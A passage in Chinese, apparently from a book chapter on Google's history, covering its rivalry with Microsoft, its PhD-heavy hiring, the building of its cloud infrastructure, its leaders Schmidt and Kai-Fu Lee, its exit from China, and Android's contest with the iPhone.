为未来吸引英才，在资金并不宽裕的情况下开设了纽约研发中心，而且把办公地点定在最热闹的时代广场。有人建议Google 在科技人才集中的西雅图地区开设研发中心， Google 当时为了避免和微软直接竞争，没有这么做。但是到了2004 年，当和微软的竞争已经不可避免时， Google 毫不犹豫地把研发中心开到了微软的旁边Kirkland。Kirkland 研发中心开张的当天，就吸引了大批的微软员工过来了解到Google 工作的可能性。从2004 年起， Google 引进了大量的计算机领域泰斗级人才，包括互联网之父温顿?瑟夫( Vinton Cerf) , Google中国的总裁李开复， Unix 的发明人汤普森，手机操作系统Android 的发明人安迪? 罗宾，等等。\n第三，未雨绸缪，联合其他公司来抵消微软在操作系统中捆绑搜索对Google 带来的不利影响。众所周知，微软在竞争中通常是后发制人，靠捆绑的手段先后赢了莲花公司、WordPerfect 和网景公司。可以想象微软在搜索竞争中最厉害的一招将是在它的浏览器上捆绑MSN 搜索(后来更名为Live) 0 Google 吸取了网景公司的教训， 在微软的搜索引擎还没有做出来以前，就和世界第二大的PC 厂家戴尔签署了预装Google 搜索工具条( Toolbar) 的协议，以防止微软捆绑搜索工具带来的灭顶之灾。同时雅虎也和惠普达成了同样的协议，惠普和戴尔占全球PC 市场的一半，这样微软在浏览器上捆绑搜索的作用就大大地被减弱了。同时， Google和苹果及Mozilla 达成互惠协议，在这两家的Safari 和火狐浏览器上将Google 设置成首选的搜索引擎。这些措施预防了Google 的市场份额像网最公司那样在短时间里急速下滑的可能性。Google 自己没有什么客户端产品，于是Google 联合了Adobe 、赛门铁克和Mozilla 等将它们的客户端产品打包放到Google 上让用户免费下载。用户在下载这些应用软件时，也就顺带将Google 设置成了首选的搜索引擎。\nGoogle 通过在工程上和市场上的努力，再加上自己比微软更适应互联网的商业模式，牢牢地把握了已有的市场份额，而且还在逐年增加。经过两年， Google 终于让投资者相信它不仅不会重蹈网景公司失败的覆辙，而且可以在搜索领域战胜微软。\n当然，微软在互联网策略上的失误也很大程度地帮了Google 的忙。即使当Google 在互联网领域已经崛起后，微软在较长时间里也没有看出搜索引擎和搜索广告的重要性。其实，微软早在1995 年就成立的它的互联网部门MSN ，并且在1996 年开始非常努力地把MSN 办好和雅虎竞争。但是，MSN 一直处于下风，而且年年亏损。在微软内部， MSN 的地位也较低，人员配备相比其他部门也较弱。因此，在20 00 年以前， MSN 对于利润丰厚的微软来讲一直是个鸡肋。2000~2002 年，由于互联网泡沫的崩溃，提供了大量免费服务的互联网全行业都在赔钱，就连互联网的老大雅虎也不例外。这时整个IT 行业几乎没有人相信提供免费服务的互联网能维持下去。MSN 一度希望走美国在线通过收取上网费的方式来维持。在这种情况下，微软不可能制定什么发展互联网的长远计划。正是因为它在互联网泡沫时代吃过亏，微软在互联网的发展上行动迟缓而让雅虎抢先收购了lnktomi 和Overture ，从而失去了发展搜索业务的最佳时机。如果在2002 ~ 2003 年，微软收购了这两家公司，至少今天它的MSN 会压倒雅虎，成为互联网领域的老二。\nGoogle 10 年来， 一直在它的核心业务上谱写着不败的神话。但是，它新业务的扩展却也困难重重。在网上支付方面它的Checkout 远远落后于eBay 的PayPal ，它的Gtalk ( IM ) 大大落后于MSN 。它在社区平台上远远落后于Facebook 。值得欣慰的是，它的开放式手机操作系统Android迄今为止非常成功。它的YouTube 深受网民的欢迎，而且已经开始盈利。Google 能否通过它继续谱写不败的神话，我们在后面还会讨论。\n17.9 秘密军团\n很多人，从研究商业的学者到投资人，到政府科技工业部门的主管，都在探讨Google 成功的奥秘。这里面的原因当然很多，在互联网上也有各种各样合理的见解，但其中很重要的一条，按照《纽约时报~ 2004 年的讲法就是，它有一个神秘军团一一由博士生组成的军团。《纽约时报》注意到飞2004 年有3 万多员工的微软创新居然比不过不到两千人的Google 。《纽约时报》认为微软的差距在于它的开发模式没有Google的效率高。当时微软3 万多员工中专职从事研究的有700 多名研究员，基本上都是博士，遗憾的是这700 人的研究和微软的开发相脱节。\nGoogle 则是研究和开发不分家， Google 基本上没有研究部门，所有开发人员遇到实 .问 .需要研究时，因为没有可以指望的研究做后盾，只好自己做研究(实际上Google 有一个很小的研究部门，但是所有的研究员都在第一线搞开发) 。这样， Google 几乎每个工程师不仅需要会写程序做具体的事，还必须会做研究。这样对于每一个工程师的要求就特别高，唯一的解决办法是尽可能地招有动手能力的博士。这样， Google 就成了全世界单位办公面积博士最集中的地方。\nGoogle 不仅喜欢招博士(和通过博士资格考试但尚未毕业的博士生) ,而且特别偏爱名牌大学和考试成绩好的。很多工作过一些年的求职者非常困惑，为什么Google 还问他们要成绩单。而确确实实有不少不错的候选人因为平均分不够被Google 刷掉。Google 认为成绩单能说明两点， 首先一个人如果能在大学里一直学得很好说明他(她)有责任心，因为他把自己主要的事情做好了。第二，成绩好的学生比成绩差的学生总体来讲更聪明。\n当然，一个人过去的成绩不代表今后的成功。也许是出于这一点的考虑，微软招收博士的比例比Google 少得多。它的人力资源主管克里斯滕?罗比( Kristen Roby )对《纽约时报》记者承认了这一点，他同时解释道\"我们更看重一个人的潜力。\"但是，潜力这东西看不见摸不着，更不是用几道智力竞赛题就能衡量的。因此Google 非常强调，一个毕业生是否在各方面准备好了。它不仅要求求职的学生在学业上准备好，而且有管理自己的自觉性。在Google 看来一个理想的员工是你交代给他一件事，不用操心，他就给你完成了。更理想的员工是你都不用交代他任何事，他每个季度自动给你完成很多有益的工作。斯坦福大学计算机系教授拉吉夫? 莫托瓦尼( Rajeev Motwani )是很多Google工程师的老师，他是Google人才战略的支持者。他解释G oogle 的人才战略时说，好的博士生不仅有创造力，而且有最高的自觉性。硕士生同样的聪明，但是主动性要差一些。硕士能把你领到别人到过的地方，而博士可以把你带到以前无人去过的地方。Google 对一些很聪明但是稍有欠缺(尤其在是主动性方面有欠缺)的学生建议在学校里再历练一段时间，等\"准备好了\" 再来试试，很多人就是这样第二次来Google 求职时被录用的。\n国内一些大学羡慕香港科技大学的师资队伍一一它有很多美国一流大学毕业的博士。但是Google 即使在只有两千人时，它的研发团队至少拥有几十倍香港科技大学计算机系的师资力量。我刚到Google 时非常惊讶这么一个小公司能够聚集那么多美国顶尖计算机系的博士毕业生。要找到并留住大量又肯动脑又肯动手的博士是很不容易的。因此， Google 尽可能给大家创造宽松的工作环境并提供各种各样的福利， 就是为了吸引并留住这些聪明人。\n世界一流的博士是招进来了，很多读者可能会问: Google 是否有这么多\"高水平的\"事情要他们做？这其实是所有公司不愿意大量招收博士的原因。很多人认为如果一件事一个本科生能够胜任， 就不需要让一个硕士生去做，因为这是一种无谓的浪费。Google 是一家思维方式与众不同的公司，它认为，杀鸡一定要用牛刀。一个本科生能完成的事，如果我能找到一个硕士生来做，那么一定比同类公司做得好! 在Google 里面实际上是贯彻一种\"瑞士制造\"的指导思想， Google 自己把它称为\"Google 的品质\" 。\n很多人讲\"日本制造\" 是品质的象征，它的汽车就是比美国车毛病少很多。比日本制造品质更好的是德国制造。我自己深有体会，以前到商店里买一些电钻头、电锯条等消耗性小工具，日本制造的比美国公司在第三世界生产的要好很多。以钻头为例，钻一个孔不仅可以节省一半的时间， 而且寿命长一倍以上。后来发现德国的钻头比日本的还好，最后我发现瑞士的钻头最好用。虽然瑞士的钻头比第三世界生产的要贵一倍，但是，工作效率要高十倍，寿命要长十倍，实在是一项合算的投资。这样我才懂得为什么最好的牙医设备全是瑞士制造的。我此后花时间研究了一下瑞士制造，发现虽然瑞士这个小国的产品不多，但是只要它做就是精品。手表和瑞士军刀就不要说了，就连我们日常用的双肩包的书包(强调功能性的，不是时尚的) ，以及旅行箱， 最好的都是瑞士制造。瑞士制造的成本可能只比其他国家贵一倍，但是销售价格可以贵十倍、百倍。一块百达翡丽( Patek Philippe) 的手表可是日本精工表的三四百倍、东南亚制造的手表的上万倍(在真正有身份的富豪看来，百达藉丽的手表和劳力士相比，就如同贵族和土财主) 。\n做同样的东西，即使功能相同，做得好不好价值可以有天壤之别。Google在还是一家很小的公司时，就在打造瑞士制造那样的品质。Google 在工程上，对每一个细节要求都很严格。比如一个程序如果多了一个空格或一行超过80 个字符，都不允许提交。而一个程序里的变量名起得不好就更不能通过评审了。学习过编程的人都知道这些小问题是不影响程序运行的。Google 这么要求大家一方面是为了让枯燥的程序易于读懂，更重要的是从点点滴滴培养大家的质量意识。在算法的优化上要求就更严格了。在这种要求下开发出来的软件，才会像百达翡丽手表那样值钱。比如，若在算法上能节省1% 的时间， Google 也会要求去实现的，因为这样意味着可以节省1% 的服务器， 一年可能就能省下几十万美元甚至更多。要保障品质，最好的办法就是\"杀鸡用牛刀\" 。Google 虽然要为这些\"超合格\"的员工多付一些工资，但是却因此打造了\"瑞士制造\"的品质，在商业竞争中占了很大的优势。Google 有时这种\"浪费\"到了让人吃惊的地步。我到Google 时，我们的前台接待员是一位斯坦福大学的毕业生。她果然体现出超出所有接待员的能力，她不仅仅是接接电话，让来访者登个记，而且把公司所有外事接待(包括接待克林顿)、办公用品采购及小宗邮件发货安排得井井有条。Google 也许付给她的工资超出一般前台的一倍，但是她却完成了四五个人的工作。\n也许是尝到了\"杀鸡用牛刀\"的甜头， Google 不仅工程师偏向于用博士，连产品经理也用斯坦福大学的博士。包括哈佛大学在内的很多名牌大学的MBA 到Google 面试产品经理不成，搞不清楚这些职位都被哪些大学的MBA 抢走了，后来他们发现， Google 更喜欢找一些计算机专业的博士而不是名牌商学院的MBA 来当产品经理。Google 这么做的原因主要有两点。首先，让一个工科博士来做产品经理很容易和工程师沟通。第二， Google非常相信工程师们的创造力，也相信这些工程出身的产品经理有同样的创造力。\n要找到并留住大量又肯动脑、又肯动手的博士.并且让大家安于从事看上去平凡的事并不容易，这是Google 尽量创造最好的工作环境，提供尽可能多的福利和自由的工作时间的结果。\n迄今为止， Google 在招揽人才和使用人才方面是非常成功的。但是也带来一些隐患。主要反映在并不是所有能人来到Google 后都能发挥最大的作用，造成了人才的浪费。同时，为了满足这么多聪明人做自己愿意做的事这一承诺， 搞出了很多意义不大的小项目。很多媒体和投资人对Google 的这种问题提出了善意的批评，担心Google 重蹈当年苹果的覆辙。\n但是要兼顾调度员工积极性、鼓励创造性并集中精力在核心业务和重大项目上，对任何公司来讲都不是件容易的事。\n17.10 云计算和数据中心\nGoogle 是最早提出云计算概念的公司，这并不是要炒作概念，而是在此以前它已经在工程上做了很多的准备，并且它自己的产品就是这么设计的。几年后云计算成为了当今科技界很热门的一个词。至于什么是云计算、它有什么好处，将引起什么样的产业变革，我们会在以后的章节专门讨论。这里让我们关注一下云计算是如何从Google 诞生的。\n云计算在Google 的历史和Google 本身一样长。佩奇和布林还是在斯坦福大学时，就提出和实现了一种被称为\"大文件\" ( Big File )的新型文件系统。这个技术就是后来Google 云计算技术中很重要的GFS文件系统的雏形。佩奇和布林发现将下载的网页存成单独文件或数据库文件都不方便使用，就设计了Big File 这种针对搜索业务的大型文件系统。后来在Google 成为公司后， Google 趁着惠普实验室( HP Labs) 分崩离析的机会，吸引了两个关键性工程师加盟，他们就是云计算之父，并且因为这个贡献当选美国工程院院士的杰夫?迪恩( Jeff Dean )博士和桑杰?戈马瓦特( Sanjay Ghemawat )博士。\n如果说西尔弗斯坦是为Google 雪中送炭的人，因为他能快速实现一个完整系统，那么迪恩和戈马瓦特则是为Google 锦上添花的人，因为他们完成了Google 走向大公司的工程设计。他们二人和佩奇那种\"想大事，干大事\"的性格很相投，因此他们在Google 工程师非常紧缺、大家加班加点应付产品开发都忙不过来的时候，潜下心来一心一意开发一个为了以后10 倍业务盘时能够方便扩展、同时能够节省运维人员的公共平台。这个平台就是Google 云计算的雏形。\nGoogle 最初开发云计算平台的目的只是为了能把大量廉价的服务器集成起来，完成超级计算机的计算和存储功能。由于Google 为了降低成本，这些自己制造的服务器可靠性非常差，性能和IBM 或太阳公司的大型机相差甚远，所以迪恩和戈马瓦特等人在架构设计时就把容错性和并发处理能力考虑得非常周全。因此，以后大家使用这个系统就非常方便。\nGoogle 从一开始起，业务的增长量就非常快，但是起初Google 并没有建立自己数据中心的打算。因为在2003 年以前，互联网泡沫破碎以后留下的基础架构和数据中心足够Google 用。在2000 年前后，由于对互联网发展过度乐观，美国超前建造了非常多的互联网基础设施，包括铺设的光缆和数据中心。在2001 年以后，绝大多数互联网公司的关门了，建造和拥有这些基础设施的公司根本无法盈利，能挣点钱，少损失一点是他们最大的愿望。在这个环境下， Google 无需担心自己业务增量的问题，反正没人用的光缆( 暗光缆)和数据中心有的是。但是，到了2003 年，美国经济开始反弹，雅虎、美国在线和微软这些第一代互联网公司的业务不仅开始恢复，而且很快超过了2000 年以前的水平，加上Google 自己的业务快速发展，用不了一两年，这些基础设施资源就会饱和。由于2000 年被蛇咬怕了，没有什么公司愿意再投资建互联网基础设施了。这样基础设施建设的事情就落到了这些大互联网公司自己身上。Google 后来发展比较顺利的一个原因是它比其他公司更早地看到互联网基础设施的重要性。这里面一个关键性人物是前面提到的副总裁霍尔斯。\n从2003 年起，大学教授出身的霍尔斯全心全意地投入到公司的业务运营管理和基础架构的建设中。他的贡献有三个方面:第一，在全球通过租用和收购已铺设的光缆，以及铺设新光缆，保证了Google 业务发展后网速不成为瓶颈。第二，抢在很多公司以前在全球布局，占据了建设数据中心的最佳点。第三，设计了节能高效的服务器机柜，大大降低了运营成本。这里面任何一件事做起来都非常难。就以建设全球的光缆网络为例，这是一个非常庞大的系统工程，从某种程度上讲复杂程度超过建造一座水坝或一艘航空母舰。要从亚洲建一条海底电缆到美国，需要和很多国家的电信部门打交道，而要把这些国家的电信部长们叫到一张桌子上开会，本身就是一件很不容易的事情。霍尔斯等人最终把这些事情办到了。经过几年在工程上和运营上的努力，到2006 年Google 的云计算平台基本完成，所有的业务，尤其是由用户产生的数据的业务，比如邮件、博客、社区Orkut等都搬到了云计算上面。在Google 内部，产品团队的工程师开发产品时，已经不关心他们使用了多少物理上的服务器，这些服务器在哪里，互相是如何连接的。他们只要提出自己需要多少计算资源，包括CPU 资源和存储资源就好。他们填好配置文件后剩下来的就是云计算的事了。对于用户来讲也是如此，他们不知道自己的内容放在了哪里，对他们来讲，整个Google 就是一个超级计算机。很多人都关心Google 到底有多少台服务器，这个具体的数字，估计霍尔斯本人都说不清楚，因为Google 每天都有新服务器上架。但是，如果把Google 作为一个独立的服务器制造商，它应该仅次于IBM 和惠普排在世界第三位。\n很长时间以来，微软是Google 最主要的竞争对手，于是Google 提出了云计算的概念，希望今后整个产业界将越来越多的服务从PC 机客户端搬到网上，减少用户对微软的依赖。Google 开始并没有想到云计算的威力那么大，以至于最终可能颠覆IT 的产业结构;它开始只是想提供一种让网民们在互联网云中任何时间、任何地点能够快速和安全地访问、处理、存储和共享信息。现在存储、处理和共享信息都做得很好了，但是还必须解决安全性问题和快速方便访问的问题。\n早在Google 的Gmail 还没有推出以前， Google 就成立了一个Google 账户管理部门，负责网络安全性问题。和以往处理网络安全的做法不同，Google 更多地依靠云计算的工具实时监控每一个账户的异常动态，保障网络安全。设计和实现里面关键技术的是两个人，包括一位不愿透露姓名的华裔科学家兼资深工程师。\n最后，就剩下一个如何让用户快速接人互联网的问题了。Google 在这方面做了两个布局:\n首先，积极推动无线互联网的发展，包括它的Android 战略，采用无线频道的拍卖等。另外是通过立法保障网络的中性化( NetworkNeutrality ) 。这个概念解释起来比较罗嗦，简单地讲就是对待所有的用户和内容供应商提供同等的服务和收费以防止运营商在最后一公里向用户和内容提供商(尤其是和自己竞争的内容提供商)过度收费。事实上，在美国至今为止网络基本是中性的，也就是说运营商(包括ATT 、Verizon 和Comcast 等)基本没有对自己竞争对手额外收费。但是，在很多国家，包括中国，网络不是中性的，运营商要比内容提供商(包括中国三大门户网站、以及百度、腾讯和阿里巴巴等公司)强势的多。这些内容提供商既不能为终端用户提供联网服务，也不能自己铺设光纤。随着互联网公司的盈利不断增加，而运营商收益增长缓慢，美国的一些运营商试图对内容运营商多收费。这样，在美国商业界就形成了两大阵营， 一方是以ATT 、Verizon 和Comcast 为首的运营商阵营，另一方是以Google 、微软、雅虎和亚马逊为首的互联网阵营。双方把官司打到国会，最后在Google和微软等公司的努力下，借着ATT 欲收购另一家电信公司的契机，基本上从立法上将互联网中性化确立下来。\n其次， Google 大力推近城市免费Wi-Fi 业务，并且在一些城市(加州的山景城、旧金山)和机场(西雅图机场)提供免费的Wifi 接人业务。这样. Google 云计算的准备工作已经全部完成，它便提出了云计算的概念。至于云计算的细节，我们在后面的章节有专门的描述。这里需要强调的是， 云计算的产业链一旦形成， 对现在信息产业的影响将是颠覆性的。每一次重大的技术变革都预示着产业格局的演变，也会促成主流企业的重新洗牌。Google 正在以此为契机，希望能够在下一次产业变革中领跑。\n17.11 Google 的新气象\nGoogle 成立10 年来招聘了两万名员工，但是一共只举行了两次公司范围的欢迎会。第一次是欢迎CEO 埃里克? 施密特博士到任，第二次是欢迎Google 中国的总裁(也是Google 全球副总裁)李开复博士。这两个人都给Google 带来了新气象。\nGoogle 从红杉资本和KPCB 拿到风险投资后，就着手开始寻找CEO 。Google 的两个创始人佩奇和布林及几名高管不知面谈了多少候选人，始终找不到合适的。这一方面是因为佩奇和布林眼界很高，另一方面是因为Google 是一个“另类公司”， 直到2001 年夏天， Google 才找到CEO 施密特。Google 和施密特双方都非常满意对方，对于佩奇和布林讲，施密特很强的计算机专业技术背景使得他们三个人很有共同语言，这一点至关重要。已经和Google打了两年交道的风险投资家们深知Google 的文化特点，他们委婉地提醒施密特: \"Google 现在情况不错，千万不要过分管束它，把它搞糟了。\"施密特来到Google 时. Google 只有不到300 人， 说大不大， 说小不小，但是却已经极有个性。施密特发现佩奇和布林的很多理念和做法和他有很大差距。他后来讲，就拿TGIF 来说吧， 他非常惊讶公司将机密的营收情况和其他商业细节拿出来和全体员工分享。公司已经300 人了，难保这些信息不会泄露给对Google 广泛关注的媒体。实际上， 在星期五下午， 经常发现有记者在公司外面透过窗缝向里张望。但是，施密特没有阻止两个创始人继续和大家共享各种机密，他很快发现，全体员工每当看到听到自己公司的进步时，士气大振。当时正是美同IT 产业最艰难的时期，大部分科技公司的员工都人心惶惶，硅谷朋友们谈论的都是裁员和找工作。而Google 员工的士气却非常高涨。\n不仅是在TGIF 的问题上，在Google 很多开发和经营问题上，施密特都是多看少说。几个月后，施密特很好地掌握了Google 的全部情况后，他开始致力于将Google 打造成一个具有新兴公司活力的大跨国公司。施密特引进了规范化的管理， 建立了Google 总监一级的管理层，并且请来包括美国前副总统戈尔在内的管理专家对Google 的管理团进行培训。这些举措为Google 以后几年飞速发展做好了管理上的准备。在Google 的发展战略上，施密特非常强调同际化的重要性。施密特要求Google 的每个产品都必须支持各种语言，并且在全球主要国家，包括中国开设办事处和分公司。今天， Google 来向海外的收入已经超过了美国本土的收入，施密特功不可没。\n施密特高瞻远瞩，利用他在美国政坛上的影响力，为Google 在很多政策上赢得了优势。Google 开设了在华盛顿的办公室，作为与美国议会和政府沟通的桥梁。在美国很多科技产业政策的制定方面， Google 多次在国会阐明自己的观点，比如在互联网中立化、开放电视频道缝隙的频带资源和反垄断的方面， Google 都是IT 工业的领头公司。施密特到来以后，Google 不再仅仅是一个开发很酷产品的小公司，而是一个像模像样的全球公司了。\n施密特非常重视中国的用户和市场，在一次会议上，施密特讲，我们现在进入中国的意义可以和当年尼克松总统的破冰之旅一样重大。在施密特的亲自指挥下， Google 成立了一个专门开发中日韩产品的小组，为正式进入中国市场做准备。准确地讲，施密特是名副其实的Google 中国之父。在2006 年Google 进入中国之后，扩张过快，在招了一些没有经过Google 文化熏陶的人后，严重稀释了Google 低调、踏实的文化。其中一些人不免言过其实，有些人仅仅是一线经理却自称Google之父，当然他很快就不需要在这家公司工作了，这是题外话了。\n2005 年，经过一年的准备， Google 进入中国市场的条件已经成熟。可以说是万事俱备，只欠东风。而这东风就是一个在中国的领头人。和往常寻找高管一样， Google 为了找到在中国的总裁，面试了不知多少人，包括很多I T 行业非常成功和知名的人士。但是，在很长时间里一直没找到令所有执行官们一致满意的人选。直到2005 年夏天，Google 找到了李开复博士， 公司所有的高管一致认为，这就是我们要找的人。\n李开复是Google 继退休的韦恩? 罗森后第一位直接按副总裁级别聘任的工程主管，其他的副总裁都是给予工程总监头衔， 一两年后才提升的。他到Google 上任的当天，整个公司非常兴奋， 工程和研究的高级副总裁阿兰? 尤斯塔斯更是高兴，在公司为李开复举行了盛大的欢迎会。这是全公司第二次。在欢迎会开始前半个小时，大厅里就聚满了人，等着一睹李开复的风采。下午四点钟， 李开复在尤斯塔斯的陪同下来和大家见面。在尤斯塔斯简单介绍了李开复后，李开复向大家讲述了他到Google 的兴奋的心情和他即将开始的中国之旅，并且和大家广泛交谈。两天后，李开复便踏上了他的中国之路。\nGoogle 对李开复十分信任，并对他的中国发展战略予以充分的支持。虽然不能讲Google 在中国业务上对李开复言听计从，但是却是非常尊重后者的方针和各项建议的。早在Google 尚未联系到李开复时， Google 就有在中国开设研发中心的打算，但是一直不能确定先在北京开还是先在上海开。李开复到公司后，告诉公司的高管们作为研发，北京的环境要好得多，于是公司立即拍板在将总部设在北京。Google 原本打按照在美国和其他国家的录用方式招收工程师但是，当李开复介绍了中国技术市场和大学的情况时，公司立即同意他的中国人才战略。\n在李开复的亲自领导和参与下， Google 中国在成立后的半年内就网罗到上百名中国各大学最优秀的毕业生。这些即将走出学校的年轻人，选择Google 的原因一方面是靠Google 的名气，另一半是靠李开复的个人魅力。\n李开复可以说是至今唯一一个和中国大学生贴近的跨国公司的执行官。几乎所有的跨国公司的高管，在中国普通大学生眼里，不过是报纸和回忆录中的符号，他们的生活和中国大学生的生活没有任何交集。而李开复则不同，他和大学生们的关系是亦师亦友，他的经历和言行激励了一代年轻学生。\n有了这100 多人， Google 在中国的业务很快就开展起来了。当然，由于Google 过去远离中国用户，要想改变几年来积累起来的落后状态却不是一朝一夕能办到的。在李开复上任的第一年， Google 在中国的市场占有率还按照惯性有所下滑，很多人对于Google 在中国的前景极不看好。好在Google 有足够的耐心和充分的心理准备，它让李开复和他的团队在中同无需考虑营收而是专注于工程。李开复不负众望，打开了Google 在中国的业务，改善了Google 和中同政府和民众的关系。果然， 从第二年起， Google在中同就站住了脚并且市场份额逐渐开始回升。其实，很多跨国公司在中国前几年的业务进展都不顺利，就连著名的可口可乐，也是在中国亏损多年后才开始盈利的。但是，今天它成为了在中国最大的软饮料公司之一。\n下面是我在2008年初稿中写的一段话:Google 深知拥有世界最多网民的中同在它全球战略中的地位。而李开复在Google中同的作用又是无人可以替代的。中国情末的探花郎、后任军机大臣的滞祖荫在评论左宗棠时讲，中罔不可一日无湖南，湖南不可一日无左宗棠。这句话对李开复同样适用。\n在2008 年版的这一节到此就结束了，也是一个蛮好的结局。但是很遗憾\"Google 中国不可无李开复这件事\"不幸成为了事实。2008 年是Google 中国最成功的一年，在那一年里， 依靠改进用户体验和买流量，Google 在中国首次从百度手中抢得了一些市场份额。2008 年的奥运会在北京召开，中国政府的开放程度在奥运会以前也达到了空前的水平。但是，奥运会后，随着金融危机的出现， 外国公司在中国的日子普遍不好过，至于是经济还是其他原因暂且不论。Google 中国的问题也来了，和所有美国公司一样， Google 开始减少开销，包括在中国购买流量的投入。随着自由派总统奥巴马的当选和任职，美国和中国的蜜月期终于过去了。自由派人士占主导的Google总部对中国的互联网管制方式一直难于接受，这中间的矛盾全压在李开复身上。终于有一天，他不堪重负，选择了离开。\n缺少了李开复这个润滑剂， Google 和中国的关系变得很难调和，最终导致了2010 年初Google 退出中国的事件。有很多的朋友和媒体问我Google 退出中国事件的背后原因，很遗憾现在依然不到披露的时候。\n17.12 3G 时代\n虽然在中国市场上Google 表现不佳，但是在全球市场上它依然保持不败。这一次它的对手是它的老朋友苹果公司。中国人总爱引用19 世纪英国首相帕默斯顿( Palmerston )的话，没有永远的盟友，也没有永远的敌人，只有永远的利益( We have no eternal allies, and we have no perpetual enemies. Our interests are eternal and perpetual, and those interests it is our duty to follow ) 。但是大家的引用都不全，甚至有些断章取义，因为都忽视了最重要的最后一句话\"而谋求那些利益是我们的职责所在\" 。这是帕默斯顿1848 年在国会演讲中说的，他的话原意并没有任何错误，既然为选民所选，就要为国民谋利益，不在乎过去是敌人还是盟友。\n这句话非常准确地描述了Google 和苹果的关系。五年前，苹果和Google在产品上是完全互补的它们在各自的领域有共同的敌人微软。而两家相对都比微软弱，无论是市值、销售额还是利润，两家的总和都不如微软。那时两家公司的关系好到可以说是\"穿一条裤子都嫌肥\" 。两家公司互相推荐对方的产品，并且有默契互不挖墙角。在董事会中，两家公司更是有许多共同的董事，包括Google 的CEO 施密特和亚瑟? 利文森(基因科技公司的CEO) 。而苹果公司的董事，前副总统戈尔，是施密特长期的私人朋友。正是由于这么亲密的关系，美国政府的一些人(或许是在某些公司的支持下)甚至一度要调查这两家公司是否有合伙搞垄断的嫌疑。\n几年后，尤其是当苹果进入智能手机领域后情况就变得不同了，因为Google 也盯上了手机操作系统这个领域。在苹果的董事会上，施密特常常不得不回避一些讨论。但是碍于大家都是朋友，在面子上还没有扯破。然而随着两家公司在手机上的冲突不断增加，而且两家公司现在都不再惧怕微软，两个好盟友终于分道扬镶了。虽然私下里施密特和乔布斯依然是朋友， 戈尔依然是他们共同的朋友，但是由于为各自\"谋求那些利益的职责所在\"，他们在生意场上必须成为对手。总的来讲，受过良好教育的Google 的佩奇和施密特是非常体面的绅士，他们在公共场合总是通过对乔布斯的夸奖来显示自己的大度;而历来我行我素、连苹果共同创始人沃兹尼克都能骗的乔布斯从来不掩饰自己要把对手置于死地的野心。\n为什么这两家公司如此剑拔弩张地要分个高下呢，因为儿年后整个IT 行业的格局将从WinTel 格局转向以3G 互联网和云计算为核心的新时代，在手机操作系统上的竞争是这个时代的焦点。我们可以把它看成是当年麦金托什和视窗之争的延续，只是微软的位置这次由Google 替代了。苹果和上次一样，先拔得头筹， 2007 年苹果的iPhone 上市，一下子取得了巨大的成功。与此同时， Google 在2005 年收购安德鲁?鲁宾( Andrew Rubin) 的手机Linux 操作系统公司Android ，也正式开始进人手机操作系统市场。Android 英语的意思是\"安迪的小东西\" 。到了2007 年夏天，Google 已经做出了Android 手机样机的第一款， 但是当鲁宾和他的同事看到苹果的iPhone ，他们觉得Android 的样机和苹果手机的差距太大，决定推倒重来。否定自己多年的工作是要有非常大的勇气的， 但是，这是通向成功之路。\n2007 年底， Google 联合全球几十家移动运营商、手机制造商和芯片制造商成立了Android 联盟。Google 和苹果的手机世纪大战正式拉开序幕。苹果的iPhone 大家都很熟悉了，它可能今天依然是世界上最好、销量最大的手机，我们就不再赘述。2008 年， Google 第一款手机Gl 由台湾代工厂家HTC 制造出来，大家褒贬不一。赞扬它的大多集中在它的技术指标上，批评它的是拿它和苹果的iPhone 比较，认为设计上太\"土\" 。的确，和苹果的i Phone 比， Google 的G l 实在太丑了，虽然后者在功能上和技术指标上不逊于前者，甚至更好。在将技术和艺术结合这一点，过去的30 年世界上没有人可以和乔布斯相比，那么Google 的Android 手机如何去和苹果竞争呢?它靠的是和苹果完全不同的商业模式。\n今天的苹果和20 年前的苹果有同样的基因，它依旧是试图通过硬件实现软件的价值，把一条产业链从头吃到尾，这种做法是排他的，因此，它不论做到多么好，总是\"竖着\"吃5% 的窄众市场( Niche Market) ，它的产品慢慢变成了消费电子产品中的时尚品牌，就如同香奈儿在化妆品，LV 在手袋中的位置。Google 学的是当年微软的做法，横着吃整个市场。它只关心最重要的操作系统部分，而把上下游全部交出去。比微软更绝的是， Google 的操作系统是免费的。\n我们不妨看看在Android 联盟中主要的公司。首先是四个最重要的处理器厂家高通(Qualcomm ) 、博通(Broadcom) 、Marvell 和德州仪器。这四家几乎垄断了当今3G 手机的处理辑市场。接下来是世界上主要手机厂家摩托罗拉、三星、LG 、索尼爱立信和台湾的H TC. 可以说除了诺基亚，大家都到齐了。诺基亚虽然有和Android 类似的Symbian ，但是由于利益的直接冲突，其他手机厂商只可能采用Android ，不可能采用诺基亚的。接下来是一大堆无线运营商，这里就不列举了。从这个名单上，以及以后的操作上看， Google 把整个手机和3G 移动通信产业链通过Android串了起来。和当年微软一样，得到整个行业支持的Google 一旦发力，就不是哪一家公司可以抗衡的了。\n半年后的第二代Android 手机和苹果同时期的相比依然有很大差距，不过一年后以摩托罗拉Droid 为代表的第三代Android 手机已经可以和苹果一争高低了。Droid 在两个月里就卖出了100 万部。这还仅仅是一个开始，因为在摩托罗拉的研发线上还有20 多款Android 手机准备上市，而索尼爱立信的研发线上也有类似多的产品，加上在Android 手机生产中拔得头筹的HTC ，不难看出Android 手机从数量上超过苹果只是时间的问题。我当时做的最乐观的估计是2010 年底，但是后来这个进程被大大加快了。到2010 年第二季度， Android 手机的出货量就超过了iPhone 。据Google 的CEO 施密特讲，在2010 年8 月， Android 手机的出货量已经到了每天20 万部的惊人数字。四个月后，这个数字变成了每天30 万部。从此以后， Android 操作系统成为全球市场份额唯一上升的智能手机操作系统，其他操作系统，包括苹果iPhone ，份额都在下降。到2010 年第四季度， Android 的全球市场份额终于超过了诺基亚的Symbian ，不仅成为全球第一大手机操作系统，而且逼得诺基亚放弃掉自己的Symbian ，转向与微软合作。至于两个火鸡加在一起是否能成为雄鹰，答案用不了几年就会揭晓。\n虽然从产品上讲，今天的Android 手机依然不如苹果的iPhone ，全世界还没有第二个人在产品设计的境界上超过乔布斯。但是，这并不妨碍Google 在商业上成功，因为首先它有强大的同盟军，其次， Google 的技术不落后甚至领先于苹果。\n在Android 联盟齐心协力和苹果、诺基亚争夺市场的时候， Google 居然做了一款自己的手机Nexus One ，这显然和Android 联盟中的分工是矛盾的。为什么Google 要插这么一杠子呢?它是否真的要和苹果头对头地竞争呢?其实并不是这样，谁要是这么想说明对Google 的佩奇和布林太不了解。手机本身是一个低利润率的行业，这种行业是他们二人不愿涉及的，而作为\"反摩尔定律\"的提出者，施密特对硬件制造一点兴趣都没有。那么是什么原因促使Google 